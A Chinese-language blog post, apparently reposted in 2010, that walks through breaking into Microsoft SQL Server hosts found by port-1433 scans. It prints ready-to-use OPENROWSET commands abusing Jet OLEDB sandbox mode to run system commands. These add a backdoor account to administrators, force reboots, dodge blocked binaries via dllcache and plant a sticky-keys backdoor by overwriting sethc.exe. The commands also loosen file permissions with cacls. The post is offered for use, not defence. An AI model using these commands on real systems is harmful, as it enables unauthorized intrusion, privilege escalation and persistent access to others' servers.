金鳞

目标->软件测试架构师

原创:http://www.x09.cn/art/1433-zhiheichiheishashoujian-shahemoshi-yuanchuang.html

        1433好扫,但是难入侵啊!

  不是127错误,就是命令被禁用。 不是缺少哪个DLL文件,就是126错误。

  哈,甚至连映像劫持、asshell、jobshell、seshell全部都使用不了,甚至SQL语句读写注册表都不行,该如何办?

  或许你忽略了一招你们忘记了沙盒模式的威力。其实很多人也知道沙盒模式,但是没有深究。所以忽视了它。

  下面我介绍它:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user user pass /add")')

  先看这个语句什么意思:意思是用SQL语句执行c:\windows\system32\ias\ias.mdb这个文件,来执行cmd.exe 来添加一个user 的用户。但很多时候cmd被禁用了,所说当你执行这个语句的时候,会显示:无效的调用。

  但如果cmd被禁,那接下来该怎么办???

  你可以这样去尝试:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net user user pass /add")')

  现在没用cmd.exe了 直接利用c:\windows\system32\ias\ias.mdb来调用net 来添加用户。在net.exe没被禁用的情况下,很多的机子是可以添加成功的,接下来

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators user /add")') 就OK了

  如果调用net(或net1)成功 ,但是用user用户登陆不了,那你可以重启系统试试语句可以这样写

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("shutdown -r -f -t 0")')

  重启以后再添加一次用户。

  如果c:\windows\system32下的cmd.exe 、net、 net1都被禁用怎么办?

  那你可以尝试调用c:\windows\system32\dllcache\下的 net net1

  么SQL语句就可以这么写:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("dllcache\net user user pass /add")')

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("dllcache\net localgroup administrators user /add")')

  很多情况下,到这里应该执行会成功了,dllcache\下的net net1 一般人不会去禁用。

  如果,连dllcache\目录下的net net1都被禁用 用户添加不了 又该怎么办?

  ························

  依照是我 ,我会用c:\windows\system32\ias\ias.mdb 来调用system32下的xcopy.exe来执行命令 ,先说说xcopy是干什么用的 xcopy命令可以用来复制替换文件。

  因此我们可以调用xcopy命令 来复制替换掉sethc.exe。

  所以SQL语句就可以这么写:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("xcopy taskmgr.exe sethc.exe /y")')

  这句话的意思是: 通过执行c:\windows\system32\ias\ias.mdb来调用xcopy命令xcopy taskmgr.exe sethc.exe /y 是把system32里的任务管理器替换成粘滞键。

  依照我的经验,很多机子是可以替换成功的(前提是sethc.exe不被禁),接下来该怎么做不用我说了3389登陆上去5次shift 则任务管理器就被调出来了任务管理器一调出来 你想做啥都可以了··········那要讲的就到这···思路是活的 我讲了在很多种情况下的对策,但实际你还可能还会遇到其他的情况,不可能全部的情况我都一一讲解对策,不懂的问我。

  那如果 sethc.exe 也被禁止 怎么办?

  那思路也很简单,我们可以调用cacls.exe来设置权限,把sethc.exe net.exe 设置成everyone都可以完全控制 就可以了,所以就可以这样来写sql语句:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cacls c:\windows\system32\net.exe /e /t /g everyone:F')

  这个思路是完全正确的,但是往往执行不成功,是因为我这个SQL连接器不好,还是什么原因反正SQL语句写得太长,命令参数加的太多,就不会执行成功。

  我用的是sqltools深度命令集成这个连接器。

  还有一点: 哪位兄弟 知不知道 调用system32里的哪个exe,可以执行删除命令(不是del 命令噶)

  ···总算打字完了,,,我没有服务器做实验,所以没有图片 只有文字······

  我已经做尽力的解释了,但是肯定还有人看不懂。那只能慢慢去读了。
posted on 2010-09-12 11:09 金鳞 阅读(174) 评论(0)  编辑 收藏 引用 所属分类: net security
只有注册用户登录后才能发表评论。